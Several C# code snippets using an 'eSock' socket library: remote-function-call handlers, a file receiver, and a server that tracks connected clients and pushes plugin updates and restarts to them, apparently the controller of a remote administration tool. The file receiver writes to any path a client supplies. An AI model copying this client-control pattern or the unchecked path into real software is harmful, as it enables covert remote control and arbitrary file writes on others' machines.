void UpdatePlugin(eSock.Server.eSockClient client, Guid ID) { try { byte[] buffer = new byte[2000]; int bytesRead = 0; using (MemoryStream _pluginUpdate = new MemoryStream(LoadedPlugins[ID].ClientPluginBytes)) { while ((bytesRead = _pluginUpdate.Read(buffer, 0, buffer.Length)) > 0) { byte[] Packet = new byte[bytesRead]; Array.Copy(buffer, 0, Packet, 0, bytesRead); client.Send(Guid.Empty, (byte)NetworkPacket.UpdatePlugin, ID, Packet, _pluginUpdate.Position == _pluginUpdate.Length); Thread.Sleep(100); } } } catch (Exception ex) { if (LoadedPlugins.ContainsKey(ID)) { DisplayException(LoadedPlugins[ID], ex); } else { DisplayException(null, ex); } } }
private static void _server_OnDataRetrieved(eSock.Server sender, eSock.Server.eSockClient client, object[] data) { try { NetworkHeaders header = (NetworkHeaders)data[0]; if (header == NetworkHeaders.Handshake) { string key = Guid.NewGuid().ToString(); client.Send((byte)NetworkHeaders.AcceptHandshake, key); client.Encryption.EncryptionKey = key; client.Encryption.Enabled = true; return; } if (header == NetworkHeaders.RemoteCall) { string function = (string)data[1]; if (!LoadedFunctions.ContainsKey(function)) { Console.WriteLine("Invalid call ({0})", function); client.Send(null); return; } object[] args = (object[])data[2]; object result = LoadedFunctions[function].Invoke(null, args); client.Send(result); Console.WriteLine("Function Call ({0}) Value={1}", function, result); } } catch (Exception ex) { try { client.Send(null); } catch { } Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("Error: {0}", ex.Message); Console.ResetColor(); } }
private void _server_OnDataRetrieved(eSock.Server sender, eSock.Server.eSockClient client, object[] data) { try { NetworkHeaders header = (NetworkHeaders)data[0]; if (header == NetworkHeaders.Handshake) { string key = Guid.NewGuid().ToString(); client.Send((byte)NetworkHeaders.AcceptHandshake, key); client.Encryption.EncryptionKey = key; client.Encryption.Enabled = true; return; } if (header == NetworkHeaders.RemoteCall) { string functionHash = (string)data[1]; if (!LoadedFunctions.ContainsKey(functionHash)) { Console.WriteLine("Invalid call ({0})", functionHash); client.Send(null); return; } object[] args = (object[])data[2]; RemoteFunction function = LoadedFunctions[functionHash]; client.Send(function.Execute(args)); Console.WriteLine("Function Call ({0}) Value={1}", function, functionHash); } } catch (Exception ex) { client.Send(null); LogError(ex); } }
static void _server_OnDataRetrieved(eSock.Server sender, eSock.Server.eSockClient client, object[] data) { PacketHeader header = (PacketHeader)(byte)data[0]; if (header == PacketHeader.StartFileTransfer) { int _fHandle = Handle; lock (_server) { while (FileHandles.ContainsKey(_fHandle)) { _fHandle = ++Handle; } } FileHandles.Add(_fHandle, new FileStream((string)data[1], FileMode.Create)); client.Send((byte)PacketHeader.FileTransferResponce, _fHandle); } if (header == PacketHeader.FileTransferBlock) { int _fhandle = (int)data[1]; byte[] block = (byte[])data[2]; bool finalBlock = (bool)data[3]; if (!FileHandles.ContainsKey(_fhandle)) { return; } FileHandles[_fhandle].Write(block, 0, block.Length); if (finalBlock) { FileHandles[_fhandle].Close(); FileHandles[_fhandle].Dispose(); FileHandles.Remove(_fhandle); lock (_server) { if (Handle > _fhandle) { Handle = _fhandle; } } } } }
void NetworkServer_OnDataRetrieved(eSock.Server sender, eSock.Server.eSockClient client, object[] data) { lock (client) { try { MLClientData _ClientData = (MLClientData)client.Tag; Guid PluginID = (Guid)data[0]; if (PluginID == Guid.Empty) { NetworkPacket command = (NetworkPacket)data[1]; Debug.WriteLine(command, "Command"); if (!_ClientData.Handshaken) { if (command == NetworkPacket.Handshake) { _ClientData.Handshaken = true; _ClientData.Encryption.GenerateRandomKey(); client.Send(Guid.Empty, (byte)NetworkPacket.Connect, _ClientData.Encryption.Key); _ClientData.Encryption.Enabled = true; return; } return; } if (command == NetworkPacket.BasicSettingsUpdated) { Debug.WriteLine("Basic settings updated", "Settings"); ListViewItem i = new ListViewItem(_ClientData.Settings.GetSetting <string>("Username", "Default")); i.Tag = _ClientData; i.SubItems.Add(client.NetworkSocket.RemoteEndPoint.ToString()); i.SubItems.Add(_ClientData.Settings.GetSetting <string>("OS", "WinX Lollypop (Unknowen)")); i.SubItems.Add(_ClientData.Settings.GetSetting <string>("Cores", "0")); _ClientData.DisplayObject = i; AddListview(i); foreach (var plugin in LoadedPlugins) { try { plugin.Value.ServerPlugin.OnClientConnect(new MLClient(_ClientData.ID, plugin.Value.ClientPluginID, _ClientData)); } catch (Exception ex) { DisplayException(plugin.Value, ex); } } } if (command == NetworkPacket.UpdateSetting) { string settingName = (string)data[2]; object value = data[3]; _ClientData.Settings.UpdateSetting(settingName, value); Debug.WriteLine(string.Format("Updated {0}", settingName), "Settings"); } if (command == NetworkPacket.UpdateSettingsDictionary) { var settings = (Dictionary <string, object>)data[2]; foreach (var dcItem in settings) { _ClientData.Settings.UpdateSetting(dcItem.Key, dcItem.Value); } } #region " Plugin Checksum " if (command == NetworkPacket.Checksums) { bool Updated = false; Dictionary <Guid, string> Checksums = (Dictionary <Guid, string>)data[2]; if (Checksums == null) { foreach (var plugin in LoadedPlugins) { Guid ID = plugin.Key; UpdatePlugin(client, ID); Thread.Sleep(100); Updated = true; } return; } foreach (var plugin in Checksums) { Guid ID = plugin.Key; string checksum = plugin.Value; if (!LoadedPlugins.ContainsKey(ID)) { client.Send(Guid.Empty, (byte)NetworkPacket.DeletePlugin, ID); Updated = true; continue; } if (LoadedPlugins[ID].ClientPluginChecksum != checksum) { UpdatePlugin(client, ID); Thread.Sleep(100); Updated = true; } } foreach (var plugin in LoadedPlugins) { Guid ID = plugin.Key; MLPlugin PluginData = plugin.Value; if (!Checksums.ContainsKey(ID)) { UpdatePlugin(client, ID); Thread.Sleep(100); Updated = true; } } if (Updated) { client.Send(Guid.Empty, (byte)NetworkPacket.Restart); } else { client.Send(Guid.Empty, (byte)NetworkPacket.PluginsVerified); } _ClientData.PluginsVerified = true; } #endregion return; } if (LoadedPlugins.ContainsKey(PluginID)) { LoadedPlugins[PluginID].ServerPlugin.OnDataRetrieved(new MLClient(_ClientData.ID, PluginID, _ClientData), (object[])data[1]); } } catch (Exception ex) { DisplayException(null, ex); } } }